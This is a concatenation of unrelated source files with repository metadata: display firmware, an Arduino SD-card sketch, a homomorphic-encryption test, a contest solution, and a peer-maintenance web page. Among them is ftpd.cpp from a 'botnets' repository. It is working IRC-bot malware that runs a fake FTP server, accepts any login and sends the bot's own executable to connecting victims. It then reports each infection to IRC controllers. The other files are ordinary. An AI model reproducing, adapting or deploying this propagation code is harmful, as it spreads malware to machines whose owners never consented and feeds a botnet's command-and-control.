snprintf(buffer, sizeof(buffer), "%d", config.music_count[edit_item - 1]);
display_buffer->write_string(buffer, font_5x8, (config.music_count[edit_item - 1] < 10 ? 26 : 20), 0);
}
else if (edit_item == 9){
display_buffer->write_string("O", font_icon, 0, 0); //DFU Upload
display_buffer->write_string("UPLOAD", font_3x5, 8, 2);
}
}
}
max7219_write_buffer(display_buffer->get_data());
max7219_set_brightness(state_get_display_brightness());
PORTF |= _BV(PORTF4);
max7219_write_command(MAX7219_SHUTDOWN, 0x01);
delay_us(100);
PORTF &= ~_BV(PORTF4);
if (state_get_display_brightness() == 0){
max7219_write_command(MAX7219_SHUTDOWN, 0x00);
}
delay_ms(2);
}
static void display_write_time(time_t time, int8_t flash_field){
tm_t now_tm;
localtime_r(&time, &now_tm);
//
// strftime(buffer, sizeof(buffer), "%l:%M%p", &now_tm);
// display_buffer->write_string(buffer, font_5x8, 0, 0);
//Write the hours
uint8_t hour = now_tm.tm_hour;
if (hour == 0) hour = 12;
else if (hour > 12) hour -= 12;
if (flash_field != 0 || flash_timer > FLASH_TIMER_PHASE){
snprintf(buffer, sizeof(buffer), "%d", hour);
display_buffer->write_string(buffer, font_5x8, (hour >= 10 ? 1 : 5), 0); //Variable width fonts don't allow for using printf's spacing, so we do it manually
}
//Write the colon
display_buffer->write_string(":", font_5x8, (hour >= 10 ? 13 : 11), 0);
//Write the minutes
if (flash_field != 1 || flash_timer > FLASH_TIMER_PHASE){
snprintf(buffer, sizeof(buffer), "%02d", now_tm.tm_min);
display_buffer->write_string(buffer, font_5x8, (hour >= 10 ? 15 : 13), 0);
}
//Write AM / PM
display_buffer->write_char((now_tm.tm_hour < 12 ? 'A' : 'P'), font_5x8, (hour >= 10 ? 28 : 26), 0);
}
static void display_write_date(time_t time, int8_t flash_field){
tm_t now_tm;
localtime_r(&time, &now_tm);
//Write the year
if (flash_field != 0 || flash_timer > FLASH_TIMER_PHASE){
snprintf(buffer, sizeof(buffer), "%04d", now_tm.tm_year + 1900);
display_buffer->write_string(buffer, font_5x8, scroll_value + 0, 0);
}
display_buffer->write_char('-', font_5x8, scroll_value + 24, 0);
//Write the month
if (flash_field != 1 || flash_timer > FLASH_TIMER_PHASE){
snprintf(buffer, sizeof(buffer), "%02d", now_tm.tm_mon + 1);
display_buffer->write_string(buffer, font_5x8, scroll_value + 28, 0);
}
display_buffer->write_char('-', font_5x8, scroll_value + 40, 0);
//Write the day of month
if (flash_field != 2 || flash_timer > FLASH_TIMER_PHASE){
snprintf(buffer, sizeof(buffer), "%02d", now_tm.tm_mday);
display_buffer->write_string(buffer, font_5x8, scroll_value + 44, 0);
}
//Write the day of week
display_buffer->write_char((char) (now_tm.tm_wday + 0x41), font_icon, scroll_value + 58, 2); //In the icon font, Sunday is 'A' (0x41), Monday is 'B', etc.
if (scroll_timer == 0){
if (flash_field == -1){ //If we are not flashing, we scroll the entire width
scroll_value -= 1;
}
else if (flash_field == 0){
if (scroll_value != 1){
scroll_value += (scroll_value > 1 ? -1 : 1);
}
}
else if (flash_field == 1){
if (scroll_value != -18){
scroll_value += (scroll_value > -18 ? -1 : 1);
}
}
else if (flash_field == 2){
if (scroll_value != -34){
scroll_value += (scroll_value > -34 ? -1 : 1);
}
}
}
}
|
[
"wyatt@digitalcave.ca"
] |
wyatt@digitalcave.ca
|
0d1e02f9a9c15e0403fd0a73fd91163e78ef53ab
|
d49b8536d996a81fd2a356f2ccd850abd4447217
|
/VirusPack/InTeL_m0dd-Test101-ms0640/ftpd.cpp
|
d7dc46fd6a790b3654d789945b958781801ee8da
|
[] |
no_license
|
JonnyBanana/botnets
|
28a90ab80f973478d54579f3d3eadc5feb33ff77
|
995b9c20aca5de0ae585ae17780a31e8bdfd9844
|
refs/heads/master
| 2021-07-01T01:51:01.211451
| 2020-10-22T23:14:57
| 2020-10-22T23:14:57
| 148,392,362
| 9
| 5
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,618
|
cpp
|
/* FTPD Originally By: Stoney */
#include "includes.h"
#include "functions.h"
#ifndef NO_EFTPD
#pragma warning(disable : 4018)
int FTP_PORT;
SOCKET listener;
DWORD WINAPI ftpd(LPVOID pParam) {
FTP ftp = *((FTP *)pParam);
FTP *ftps = (FTP *)pParam;
ftps->gotinfo = TRUE;
IRC* irc=(IRC*)ftp.conn;
SOCKET newfd;
char sendbuf[IRCLINE];
struct sockaddr_in server_address;
struct sockaddr_in remoteaddr;
long h;
int reuse_addr = 1;
unsigned long mode = 1;
int fdmax;
int i;
int addrlen;
int nbytes;
char buf[100];
char tmpbuf[100];
char tmpbuf2[100];
char a[4];
char b[4];
char c[4];
char d[4];
char p1[50];
char p2[50];
char tmpip[15];
int po,po2;
struct fd_set master; // master file descriptor list
struct fd_set read_fds; // temp file descriptor list for select()
FD_ZERO(&master); // clear the master and temp sets
FD_ZERO(&read_fds);
FTP_PORT = ftp.port;
listener = fsocket(AF_INET, SOCK_STREAM, 0);
fsetsockopt(listener, SOL_SOCKET, SO_REUSEADDR, (char*)&reuse_addr,sizeof(reuse_addr));
fioctlsocket(listener, FIONBIO, &mode);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = INADDR_ANY;
server_address.sin_port = fhtons(FTP_PORT);
if (fbind(listener, (struct sockaddr *) &server_address,sizeof(server_address)) < 0 ) {
return 1;
}
flisten(listener,10);
FD_SET(listener, &master);
fdmax = listener;
while(1) {
read_fds = master;
if (fselect(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) {
return 1;
}
for(i = 0; i <= fdmax; i++) {
ZeroMemory(buf,sizeof(buf));
ZeroMemory(tmpbuf,sizeof(tmpbuf));
if (fFD_ISSET(i, &read_fds)) {
if (i == (int)listener) {
addrlen = sizeof(remoteaddr);
if ((newfd = faccept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) != -1) {
FD_SET(newfd, &master);
if ((int)newfd > fdmax) {
fdmax = newfd;
}
fsend(newfd, "220 Reptile welcomes you..\r\n",28 , 0);
}
} else {
if ((nbytes = frecv(i, buf, sizeof(buf), 0)) <= 0) {
FD_CLR(i, &master);
fclosesocket(i);
} else {
#ifdef _DEBUG
printf("FTP Recieved: %s\n",buf);
#endif
sscanf(buf,"%s %s",tmpbuf,tmpbuf2);
if (strcmp(tmpbuf,"USER") == 0) {
fsend(i,"331 Password required\r\n",23,0);
}
else if (strcmp(tmpbuf,"PASS") == 0) {
fsend(i,"230 User logged in.\r\n",21,0);
}
else if (strcmp(tmpbuf,"SYST") == 0) {
fsend(i,"215 StnyFtpd\r\n",14,0);
}
else if (strcmp(tmpbuf,"REST") == 0) {
fsend(i,"350 Restarting.\r\n",17,0);
}
else if (strcmp(tmpbuf,"PWD") == 0) {
fsend(i,"257 \"/\" is current directory.\r\n",31,0);
}
else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"A") == 0)) {
fsend(i,"200 Type set to A.\r\n",20,0);
}
else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"I") == 0)) {
fsend(i,"200 Type set to I.\r\n",20,0);
}
else if (strcmp(tmpbuf,"PASV") == 0) {
fsend(i,"425 Passive not supported on this server\r\n",44,0);
}
else if (strcmp(tmpbuf,"LIST") == 0) {
fsend(i,"226 Transfer complete\r\n",25,0);
if (irc->has_master())
irc->notice_masters("%s %s LIST request from: %s",warn_title,ftp_title,GetIP(i));
else
irc->privmsg(servers[curserver].warningchan,"%s %s LIST request from: %s",warn_title,ftp_title,GetIP(i));
}
else if (strcmp(tmpbuf,"PORT") == 0) {
sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2);
po = atoi(p1);
po2 = atoi(p2);
ZeroMemory(p1,sizeof(p1));
sprintf(p1,"%x%x\n",po,po2);
h = strtoul(p1, NULL, 16);
sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d);
fsend(i,"200 PORT command successful.\n",29,0);
}
else if (strcmp(tmpbuf,"RETR") == 0) {
if (!ftp.silent && ftp.verbose)
irc->privmsg(ftp.chan,"%s Started send to IP: %s.",ftp_title,tmpip);
fsend(i,"150 Opening BINARY mode data connection\n",40,0);
SOCKET data_sock;
if(FTP_Data_Connect(tmpip,(int)h,sendbuf,ftp.conn,ftp.chan,ftp.silent,data_sock) != 0) {
int transfered=0;
if ((transfered=FTP_Data_Transfer(data_sock)) > 0)
{
fsend(i,"226 Transfer complete.\n",23 , 0);
eftpsends++;
if (!ftp.silent)
{
if (ftp.verbose)
irc->privmsg(ftp.chan,"%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.",ftp_title,tmpip,ftp.filename,commaI64(transfered),eftpsends);
else
irc->privmsg(ftp.chan,"%s File transfer complete to IP: %s.", ftp_title, tmpip);
}
}
else
{
fsend(i,"226 Transfer complete.\n",23 , 0);
}
} else {
fsend(i,"425 Can't open data connection.\n",32,0);
// if (!ftp.silent)
// {
// irc->privmsg(ftp.chan,"%s Failed to send file to IP: %s.",ftp_title,tmpip);
// }
}
}
else if (strcmp(tmpbuf,"QUIT") == 0) {
fsend(i,"221 Goodbye, happy rooting.\r\n",29 , 0);
}
else {
fsend(i,"503 Command not understood.\r\n",29,0);
}
ZeroMemory(buf,sizeof(buf));
}
}
}
}
}
return 1;
}
int FTP_Data_Connect(char *ip,int port,char *err,void *conn,char *target,BOOL silent,SOCKET &data_sock)
{
IRC* irc=(IRC*)conn;
struct sockaddr_in server;
data_sock = fsocket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_addr.s_addr = finet_addr(ip);
server.sin_port = fhtons(port);
if (fconnect(data_sock,(struct sockaddr *)&server, sizeof(struct sockaddr)) == -1)
{
if (!silent)
irc->privmsg(target,"%s Couldn't open data connection to: %s:%i, error: <%d>.",ftp_title,ip,port,fWSAGetLastError());
fclosesocket(data_sock);
return 0;
}
return 1;
}
int FTP_Data_Transfer(SOCKET data_sock)
{
unsigned char fileBuf[4096]; FILE *fp=NULL;
char myfname[MAX_PATH];
int count=4096;
GetModuleFileName(NULL,myfname,sizeof(myfname));
fp=fopen(myfname, "rb");
int sent=0;
long filesize=0;
if (fp)
{
fseek(fp, 0, SEEK_END); filesize=ftell(fp); fseek(fp, 0, SEEK_SET);
int written=0;
while(!feof(fp))
{
written=0;
int retval;
ZeroMemory(fileBuf,sizeof(fileBuf));
count=fread(fileBuf, sizeof(char), 2048, fp);
if(ferror(fp)) break;
while(written<count)
{
retval = fsend(data_sock, (char*)fileBuf, count, 0);
sent+=retval;
if (retval = SOCKET_ERROR)
break;
written+=retval;
}
}
}
fclose(fp);
fclosesocket(data_sock);
if ((int)filesize == sent)
return sent;
else
return 0;
}
void killftpd(char *target,void *conn,BOOL silent,BOOL verbose)
{
IRC* irc=(IRC*)conn;
BOOL killed = FALSE;
int tnum;
if ((tnum=findthreadnum(FTPD_THREAD)) > 0)
{
TerminateThread(threads[tnum].tHandle, 0);
if (threads[tnum].tHandle != 0)
killed = TRUE;
threads[tnum].tHandle = 0;
threads[tnum].id = 0;
threads[tnum].parent = 0;
threads[tnum].pid = 0;
threads[tnum].name[0] = '\0';
fclosesocket(listener);
}
if (killed)
{
if (!silent)
irc->privmsg(target,"%s %s stopped. (%d thread(s) stopped.)",threads_title,"Exploit FTPD",1);
}
else
{
if (!silent)
irc->privmsg(target,"%s No %s thread found.",threads_title,"Exploit FTPD");
}
return;
}
#endif
|
[
"mstr.be832920@gmail.com"
] |
mstr.be832920@gmail.com
|
862a1204f3e2367d091cd16f7c03f33439a736da
|
4f6252b9b058644b56df0be2cc42c7408ccb40ca
|
/Aplikasi-Version-1.3/App/client_app.h
|
f6c706fc57405ca58b48d1536a61312f36d1d396
|
[
"Apache-2.0"
] |
permissive
|
Anangprasetya/SistemPembayaranUAD
|
b143c45231fe3283ee97b065fb421067a31ebf04
|
4ddaf60e1f4ccdf6597ca5db7b43c0493679d1e2
|
refs/heads/main
| 2023-06-06T09:28:31.523777
| 2021-06-29T15:33:57
| 2021-06-29T15:33:57
| 378,299,911
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 411
|
h
|
#include "../Desain/client_desain.h"
#include "../Config/Config.h"
class Var : protected DesainClient, public ConfigApp{
protected :
char c;
// int enter, backspace;
bool cekend;
ofstream tulis;
protected :
string nama, nim, kelas, angkatan;
string rupiah, kodep, nama_bank, alamat;
bool ceknama, cekkelas, cekrupiah;
bool cekangkatan, cekkodep, ceknim;
bool ceknamabank, cekalamat;
};
|
[
"tyoandini@gmail.com"
] |
tyoandini@gmail.com
|
687fa132190adce8cf9322686ff72d6d77ef9fa5
|
b7fa72467459e3d546ecf4ee49ace622a3320f63
|
/week8/sdCard/sdCard.ino
|
053cf7a68e993404687dfcb30210df6339ff35e9
|
[] |
no_license
|
SarcevicAntonio/FODF
|
040cac085c8e091b4590b96aa6611c6767894fe3
|
a34d59dc25675a8c4724fc2075e0d95090c4dbd9
|
refs/heads/master
| 2023-08-14T21:18:10.068942
| 2021-09-18T18:51:28
| 2021-09-18T18:52:08
| 152,391,547
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,252
|
ino
|
//Including the librarys
#include <SoftwareSerial.h>
#include <SD.h>
#include <SPI.h>
//Setting up the SoftwareSerial (RX, TX)
//RX turned of because not enough pins
SoftwareSerial mySerial(0, PB1);
//Set Chip Select to pin
#define CS_PIN PB4
//File Object
File myFile;
void setup() {
//File we will read
char myFileName[] = "MyFile.txt";
//Holder of File content
String LineString = "";
//Opening the SoftwareSerial, 2400 as data rate for ATTiny
mySerial.begin(2400);
//Wait for SoftwareSerial to open.
while (!mySerial) {}
//Starting SD Card Setup
mySerial.println("Setting up SD card...");
mySerial.println();
//Setting CS Pin as output
pinMode(CS_PIN, OUTPUT);
//Check if SD is found
if(!SD.begin(CS_PIN)){
mySerial.println("SD did not set up...");
while(1);
}
mySerial.println("SD set up!");
mySerial.println();
//Reading the file
mySerial.println("Reading MyFile.txt...");
mySerial.println();
//Open our File
myFile = SD.open(myFileName, FILE_READ);
//Keep reading
while(myFile.available() != 0){
LineString = myFile.readStringUntil('\n');
mySerial.println(LineString);
}
myFile.close();
mySerial.println();
mySerial.println("Done");
}
void loop() {
}
|
[
"sarcevic@westphalia-datalab.com"
] |
sarcevic@westphalia-datalab.com
|
689e0db0047b1f372071e66b83b02e3fdd66d062
|
119bbcf227c36960148e77e3b14b26b48bcf36a5
|
/test/test_constant.in.cpp
|
91d6b785a463ee8bb3df2988112ed548b894759f
|
[
"Apache-2.0"
] |
permissive
|
NervanaSystems/he-transformer
|
d18030c574942f833faa8ec7b8376e80eabeba63
|
8b7887fcd58d3c928c6815b5a5f9a316e50a1e02
|
refs/heads/master
| 2023-06-22T02:55:07.620876
| 2023-01-03T22:54:12
| 2023-01-03T22:54:12
| 128,814,779
| 238
| 44
|
Apache-2.0
| 2019-11-19T20:39:45
| 2018-04-09T18:14:49
|
C++
|
UTF-8
|
C++
| false
| false
| 3,958
|
cpp
|
//*****************************************************************************
// Copyright 2018-2019 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//*****************************************************************************
#include "he_op_annotations.hpp"
#include "ngraph/ngraph.hpp"
#include "seal/he_seal_backend.hpp"
#include "test_util.hpp"
#include "util/all_close.hpp"
#include "util/ndarray.hpp"
#include "util/test_control.hpp"
#include "util/test_tools.hpp"
static std::string s_manifest = "${MANIFEST}";
namespace ngraph::runtime::he {
auto constant_test = [](const bool arg1_encrypted, const bool arg2_encrypted) {
auto backend = runtime::Backend::create("${BACKEND_NAME}");
auto he_backend = static_cast<he::HESealBackend*>(backend.get());
Shape shape{2, 2};
auto a = op::Constant::create(element::f32, shape, {1, 2, 3, 4});
auto b = std::make_shared<op::Parameter>(element::f32, shape);
auto c = std::make_shared<op::Parameter>(element::f32, shape);
auto t = (a + b) * c;
auto f = std::make_shared<Function>(t, ParameterVector{b, c});
const auto& arg1_config =
test::config_from_flags(false, arg1_encrypted, false);
const auto& arg2_config =
test::config_from_flags(false, arg2_encrypted, false);
std::string error_str;
he_backend->set_config(
{{b->get_name(), arg1_config}, {c->get_name(), arg2_config}}, error_str);
auto t_b = test::tensor_from_flags(*he_backend, shape, arg1_encrypted, false);
auto t_c = test::tensor_from_flags(*he_backend, shape, arg2_encrypted, false);
auto t_result = test::tensor_from_flags(
*he_backend, shape, arg1_encrypted || arg2_encrypted, false);
std::vector<float> input_b{5, 6, 7, 8};
std::vector<float> input_c{9, 10, 11, 12};
std::vector<float> exp_result{54, 80, 110, 144};
copy_data(t_b, input_b);
copy_data(t_c, input_c);
auto handle = backend->compile(f);
handle->call_with_validate({t_result}, {t_b, t_c});
EXPECT_TRUE(test::all_close(read_vector<float>(t_result), exp_result, 1e-3f));
};
NGRAPH_TEST(${BACKEND_NAME}, constant) {
auto backend = runtime::Backend::create("${BACKEND_NAME}");
Shape shape{2, 2};
{
auto a = op::Constant::create(element::f32, shape, {0.1, 0.2, 0.3, 0.4});
auto f = std::make_shared<Function>(a, ParameterVector{});
auto result = backend->create_tensor(element::f32, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {});
EXPECT_TRUE(test::all_close((std::vector<float>{0.1, 0.2, 0.3, 0.4}),
read_vector<float>(result)));
}
{
auto a = op::Constant::create(element::f64, shape, {0.1, 0.2, 0.3, 0.4});
auto f = std::make_shared<Function>(a, ParameterVector{});
auto result = backend->create_tensor(element::f64, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {});
EXPECT_TRUE(test::all_close((std::vector<double>{0.1, 0.2, 0.3, 0.4}),
read_vector<double>(result)));
}
}
NGRAPH_TEST(${BACKEND_NAME}, constant_abc_plain_plain) {
constant_test(false, false);
}
NGRAPH_TEST(${BACKEND_NAME}, constant_abc_plain_cipher) {
constant_test(false, true);
}
NGRAPH_TEST(${BACKEND_NAME}, constant_abc_cipher_plain) {
constant_test(true, false);
}
NGRAPH_TEST(${BACKEND_NAME}, constant_abc_cipher_cipher) {
constant_test(true, true);
}
} // namespace ngraph::runtime::he
|
[
"noreply@github.com"
] |
NervanaSystems.noreply@github.com
|
59406252a48e3d8d6510e6103ec835f4d8a3a059
|
154dfd2a2130a3a7731a9a9b431e8295fbf82cd2
|
/Uva/uva1289.cpp
|
f8a3936f5635dd0975130db36408a7320823edb3
|
[] |
no_license
|
ltf0501/Competitive-Programming
|
1f898318eaecae14b6e040ffc7e36a9497ee288c
|
9660b28d979721f2befcb590182975f10c9b6ac8
|
refs/heads/master
| 2022-11-20T21:08:45.651706
| 2020-07-23T11:55:05
| 2020-07-23T11:55:05
| 245,600,907
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,480
|
cpp
|
#include<cstdio>
#include<algorithm>
#include<cstring>
using namespace std;
pair<int,int> a[2505];
int f[2505][55];
int h[2505][55];
int cnt[2505];
int n,c,m;
void pre()
{
sort(a+1,a+c+1);
c=unique(a+1,a+c+1)-a-1;
int p;
for(int i=1;i<=c;i++)
{
p=i,m++;
while(a[p].first==a[p+1].first && p<c)p++;
for(int j=i;j<=p;++j)h[m][a[j].second]=1;
cnt[m]=p-i+1;
i=p;
}
}
int dp()
{
int k=0,ans=0x3f3f3f3f;
memset(f,127,sizeof(f));
for(int i=1;i<=n;i++)
if(h[1][i])
f[1][i]=cnt[1];
for(int i=2;i<=m;i++)
for(int j=1;j<=n;j++)
if(h[i][j])
for(int k=1;k<=n;k++)
{ if(h[i][k] && (cnt[i]==1 || k!=j))
f[i][j]=min(f[i][j],f[i-1][k]+cnt[i]-1);
else f[i][j]=min(f[i][j],f[i-1][k]+cnt[i]);
}
for(int i=1;i<=n;i++)
ans=min(ans,f[m][i]);
return ans*2-n-1;
}
main()
{
int cas=0,t;
while(scanf("%d",&n)!=EOF)
{
memset(cnt,0,sizeof(cnt));
memset(h,0,sizeof(h));
m=c=0;
for(int i=1;i<=n;i++)
{
scanf("%d",&t);
for(int j=1;j<=t;j++)
{
scanf("%d",&a[++c].first);
a[c].second=i;
}
}
pre();
printf("Case %d: %d\n",++cas,dp());
}
return 0;
}
|
[
"0110420@stu.nknush.kh.edu.tw"
] |
0110420@stu.nknush.kh.edu.tw
|
47cc191eaee5f5f62a29efba2c87dae5a6df35e3
|
b82057b0ca94b59977f4731a97df04e273421520
|
/proj.winrt/MainPage.xaml.cpp
|
72799670e712fd7b09d2a37dd11611e93e353b56
|
[] |
no_license
|
RuiZhuo/cocos2dx-CCPickerView
|
2010ae7c6b51a081d5b208c85d98848ac99154dc
|
657e55156a3ef13d4c7ef508a6e1fcc90ad81062
|
refs/heads/master
| 2020-09-21T23:10:57.788548
| 2016-09-11T11:32:55
| 2016-09-11T11:32:55
| 67,926,379
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,422
|
cpp
|
/****************************************************************************
Copyright (c) 2010-2013 cocos2d-x.org
Copyright (c) Microsoft Open Technologies, Inc.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
//
// MainPage.xaml.cpp
// Implementation of the MainPage.xaml class.
//
#include "pch.h"
#include "MainPage.xaml.h"
#include "CCApplication.h"
#include "CCEGLView.h"
USING_NS_CC;
using namespace pickerview;
using namespace Platform;
using namespace Windows::Foundation;
using namespace Windows::Foundation::Collections;
using namespace Windows::Graphics::Display;
using namespace Windows::UI::Input;
using namespace Windows::UI::Core;
using namespace Windows::UI::Xaml;
using namespace Windows::UI::Xaml::Controls;
MainPage::MainPage()
{
InitializeComponent();
CCEGLView* eglView = new CCEGLView();
eglView->Create(Window::Current->CoreWindow, SwapChainPanel);
eglView->setViewName("pickerview");
CCApplication::sharedApplication()->run();
}
void MainPage::OnPreviousPressed(Object^ sender, RoutedEventArgs^ args)
{
}
void MainPage::OnNextPressed(Object^ sender, RoutedEventArgs^ args)
{
}
void MainPage::SaveInternalState(IPropertySet^ state)
{
CCEGLView::sharedOpenGLView()->OnSuspending();
}
void MainPage::LoadInternalState(IPropertySet^ state)
{
//m_renderer->LoadInternalState(state);
}
|
[
"339361504@qq.com"
] |
339361504@qq.com
|
58b700bc74d5fd79adc10bfc316cbdca96e01634
|
2489a77535e9c1e85e6a9579c8618df4cdf9128c
|
/src/http/pages/peermaintenancepage.cpp
|
04a8a631ddef959893690e1adbc82e9e3d7e0499
|
[] |
no_license
|
SeekingFor/FMS
|
c2229af56c630c399f856c4afe9149df67717659
|
bad5cb9f9dbb21b596d35162734b7c4a53e8e2c3
|
refs/heads/master
| 2020-05-18T16:23:36.548233
| 2012-11-03T13:56:04
| 2013-02-09T05:05:10
| 8,105,625
| 3
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 12,888
|
cpp
|
#include "../../../include/http/pages/peermaintenancepage.h"
#include "../../../include/stringfunctions.h"
#include "../../../include/option.h"
#include <Poco/DateTime.h>
#include <Poco/Timestamp.h>
#include <Poco/Timespan.h>
#include <Poco/DateTimeFormatter.h>
#ifdef XMEM
#include <xmem.h>
#endif
const std::string PeerMaintenancePage::GenerateContent(const std::string &method, const std::map<std::string,QueryVar> &queryvars)
{
std::string content("");
std::string sql("");
SQLite3DB::Statement st;
std::string tempval;
Poco::DateTime date;
bool m_localtrustoverrides=false;
Option opt(m_db);
opt.GetBool("LocalTrustOverridesPeerTrust",m_localtrustoverrides);
if(queryvars.find("formaction")!=queryvars.end() && ValidateFormPassword(queryvars))
{
if((*queryvars.find("formaction")).second=="removenotseen")
{
m_db->Execute("DELETE FROM tblIdentity WHERE LastSeen IS NULL AND WOTLastSeen IS NULL;");
}
else if((*queryvars.find("formaction")).second=="removelastseen20")
{
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IFNULL(LastSeen<?,1) AND IFNULL(WOTLastSeen<?,1);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Bind(1,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
}
else if((*queryvars.find("formaction")).second=="removeneversent")
{
m_db->Execute("DELETE FROM tblIdentity WHERE IdentityID NOT IN (SELECT IdentityID FROM tblMessage WHERE IdentityID IS NOT NULL GROUP BY IdentityID);");
}
else if((*queryvars.find("formaction")).second=="removelastseenneversent20")
{
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IdentityID NOT IN (SELECT IdentityID FROM tblMessage WHERE IdentityID IS NOT NULL GROUP BY IdentityID) AND IFNULL(LastSeen<?,1) AND IFNULL(WOTLastSeen<?,1);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Bind(1,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
}
else if((*queryvars.find("formaction")).second=="removedaysago" && queryvars.find("daysago")!=queryvars.end() && (*queryvars.find("daysago")).second!="")
{
int tempint=10000;
StringFunctions::Convert((*queryvars.find("daysago")).second.GetData(),tempint);
date=Poco::Timestamp();
date-=Poco::Timespan(tempint,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IFNULL(LastSeen<?,1) AND IFNULL(WOTLastSeen<?,1);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Bind(1,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
}
else if((*queryvars.find("formaction")).second=="removenulldaysago" && queryvars.find("daysago")!=queryvars.end() && (*queryvars.find("daysago")).second!="")
{
int tempint=10000;
StringFunctions::Convert((*queryvars.find("daysago")).second.GetData(),tempint);
date=Poco::Timestamp();
date-=Poco::Timespan(tempint,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IFNULL(LastSeen<?,1) AND IFNULL(WOTLastSeen<?,1) AND LocalMessageTrust IS NULL AND LocalTrustListTrust IS NULL;");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Bind(1,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
}
else if((*queryvars.find("formaction")).second=="removeposted30daysago")
{
date=Poco::Timestamp();
date-=Poco::Timespan(30,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IdentityID IN (SELECT tblIdentity.IdentityID FROM tblIdentity INNER JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE (SELECT MAX(MessageDate) FROM tblMessage WHERE tblMessage.IdentityID=tblIdentity.IdentityID)<=? GROUP BY tblIdentity.IdentityID);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d"));
st.Step();
}
else if((*queryvars.find("formaction")).second=="removeadded20daysneversent")
{
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("DELETE FROM tblIdentity WHERE IdentityID IN (SELECT tblIdentity.IdentityID FROM tblIdentity LEFT JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE tblMessage.IdentityID IS NULL AND tblIdentity.DateAdded<?);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
}
}
content+="<h2>"+m_trans->Get("web.page.peermaintenance.title")+"</h2>";
content+="<p class=\"paragraph\">"+m_trans->Get("web.page.peermaintenance.instructions")+"</p>";
content+="<p>";
content+="<a href=\"recentlyadded.htm\">"+m_trans->Get("web.page.peermaintenance.recentlyadded")+"</a>";
content+="</p>";
content+="<table>";
content+="<tr><th colspan=\"3\">"+m_trans->Get("web.page.peermaintenance.stats")+"</th></tr>";
content+="<tr>";
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity;");
st.Step();
st.ResultText(0,tempval);
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.knownpeers")+"</td>";
content+="</tr>";
content+="<tr>";
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity WHERE IsFMS=1;");
st.Step();
st.ResultText(0,tempval);
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.fmspeers")+"</td>";
content+="</tr>";
content+="<tr>";
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity WHERE IsWOT=1;");
st.Step();
st.ResultText(0,tempval);
content+="<td>"+tempval+"</td>";
